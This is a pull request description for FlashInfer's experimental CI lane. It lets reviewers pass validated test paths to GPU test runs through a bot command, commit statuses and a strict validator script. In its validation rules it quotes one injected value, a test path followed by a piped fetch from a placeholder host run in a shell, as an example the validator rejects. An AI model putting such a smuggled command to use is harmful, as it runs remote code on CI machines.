feat(experimental): declare per-PR test scope for the experimental CI lane

[aleozlx]

📌 Description

Targets flashinfer-ai#4880 (experimental_directory), not main — merge there first.

Follows up the Slack thread on the missing experimental CI lane: the experimental track needs to run targeted tests, the same way, on both CI systems.

The problem

tests/experimental/ as a whole is the right scope today, with one feature in the track. It stops being right as the track grows — every experimental PR would pay for every other feature's tests, in every cell of the GPU/toolkit matrix, on on-demand runners billed by duration.

The shell side already supports targeting: task_run_unit_tests.sh forwards "$@" to unit_test_runner.py, which sets TEST_PATH. The gap is entirely in how a target reaches it:

	Trigger	Carries a target?
GitLab	/bot run TEST_PATH	✅ inline
GitHub	run-ci label, @flashinfer-bot run	❌ no argument

On GitHub specifically, three things blocked it: ci-bot-commands.yml matches @flashinfer-bot run with grep and discards anything after it; pr-test.yml builds its matrix from hardcoded jq literals; and the dispatch step passes no argument.

The change

1. @flashinfer-bot run <paths> now takes an argument, mirroring GitLab's /bot run TEST_PATH — one convention across both systems. It retargets the GPU lanes at those paths; bare @flashinfer-bot run is unchanged (and clears any previous scope).

The comment is parsed exactly once. A run-ci label carries no payload, so ci-bot-commands.yml — the one place that already parses this comment — validates the paths and publishes them as ci/test-scope-N commit statuses on the head SHA. pr-test.yml reassembles them. No regex downstream, no comment listing, no date filtering.

Chunked because a status description caps at 140 characters. Measured against this repo, test paths run median 41 / p90 60 / max 81, and file.py::test_case is ~63 — so 140 fits only two or three targets. Splitting happens on target boundaries, never mid-path.

Keying the statuses to the SHA makes staleness structural rather than a rule: a new push is a new SHA with no scope statuses, so re-labelling can't resurrect an old scope.

Symmetry has a second payoff — automation gets no privileged channel. A watcher triggering a screened PR types exactly what a reviewer types, so there's one path to test and no way for the two to drift.

No arch selection, and none is needed. A targeted run still spans the GPU matrix (A10G, T4, H100) — tests carry their own arch guards and skip themselves where unsupported, so the right subset executes on each runner. Narrowing the scope reduces what runs within each cell, not which cells run. Adding arch selection would mean maintaining a path-to-arch mapping beside guards that already encode it, and the two would drift.

Note the default shards (task_jit_run_tests_part*.sh) are fixed pytest lists that take no arguments, so a targeted run uses task_run_unit_tests.sh — the script that forwards "$@" into TEST_PATH.

2. CI runs what it's told, and never reads the PR body. Turning a declaration into paths happens once, in whoever issues the trigger — a reviewer, or a screening watcher posting under its own identity with the declared scope. There is deliberately no second parser in the workflow, so a reviewer wanting to run something else just says so: the declaration is the default, not a constraint.

3. The PR template gains the declaration the trigger-issuer reads — a fenced experimental-tests block shipping with commented examples, not a working default. The parser strips # comments, so an untouched block fails loudly rather than quietly meaning "run everything".

4. scripts/pr_checks/experimental_test_scope.py is the single validator, with two entry points sharing one definition of a safe target:

# what the trigger-issuer runs, over a PR body
experimental_test_scope.py --body-file body.md --test-path
# what the workflow runs, over comment arguments
experimental_test_scope.py --targets "tests/gemm/test_x.py" --test-path

They differ only in root — tests/experimental/ for a declaration, tests/ for a reviewer request, since a reviewer may legitimately want to run anything.

Validation, and why each rule is there

• Strict charset. A prefix check alone accepts tests/experimental/x.py; curl evil | sh — it starts with the root and has no ... A semicolon is a legal filename character, so existence isn't a reliable backstop either.
• Targets must exist. A path that doesn't exist collects no tests and passes — a false green, the most expensive failure here because it looks like coverage.
• Also rejected: missing block, empty block, duplicate blocks, paths outside the root, traversal, command substitution, backticks, smuggled pytest flags.

Two silent failure modes are handled explicitly: statuses can't be deleted, so a scope that shrinks would leave stale trailing chunks — the publisher blanks leftover indices; and contexts sort lexically, so ci/test-scope-10 would land between -1 and -2 — reassembly sorts numerically.

Validation splits by what each layer can actually see. ci-bot-commands.yml checks charset and root using the trusted validator from the base branch — it deliberately does not check out PR code, since it holds a write token — and rejects anything over the status description's 140-character limit, which doubles as a nudge toward the narrow scope this exists to encourage. Existence is left to whoever issues the trigger (who has the PR's files) and, failing that, to pytest, which errors on a missing path.

Being authorised to trigger CI isn't the same as a string being safe to hand to a shell, so the value also travels via env:, is never interpolated into script text, and is read into an array with globbing disabled rather than relying on word splitting. Each layer holds without the others — which matters because run-ci can be applied by hand, with no review or screening in the path.

🔍 Related Issues

Targets flashinfer-ai#4880.

🚀 Pull Request Checklist

• I have read the Contributing Guidelines.
• I have added/updated relevant unit tests. (--selftest)
• My PR is based on the latest FlashInfer main branch commit.

✅ Pre-commit Checks

• I have installed pre-commit by running pip install pre-commit (or used your preferred method).
• I have installed the hooks with pre-commit install.
• I have run the hooks manually with pre-commit run --all-files and fixed any reported issues.

🧪 Tests

• Tests have been added or updated as needed.
• All tests are passing (unittest, etc.).

--selftest covers ten cases (four parse, six rejection) plus existence checking against a temp tree; no fixtures, no network, no GPU:

$ python3 scripts/pr_checks/experimental_test_scope.py --selftest
selftest: all cases pass

$ python3 scripts/pr_checks/experimental_test_scope.py \
    --body-file .github/pull_request_template.md --test-path
tests/experimental/

The matrix step was also simulated end to end: an experimental-labelled PR emits the extra lane, a non-experimental PR emits nothing, and an experimental PR with a missing block fails.

Reviewer Notes

@bkryu — note that CI does not enforce the declaration. The workflow only validates the arguments it is given; a PR with a missing or malformed block simply gets an ordinary unparameterised run. Enforcement, if wanted, belongs wherever the trigger is issued — a reviewer reads the block and types it, and automation would do the same. That keeps CI a thing that runs what it is told, which is why there's no second parser here.

The one behaviour worth confirming: a targeted run replaces the default GPU shards rather than adding to them, because task_jit_run_tests_part*.sh are fixed pytest lists that take no arguments. So a targeted run covers the same GPUs but not the same scripts.

Would also value a look from whoever owns the runner labels and concurrency config — the new lane reuses the existing H100 runner selector and task_run_unit_tests.sh unchanged, but I can't exercise a self-hosted runner from here.

_{AI-assisted (Claude Code).}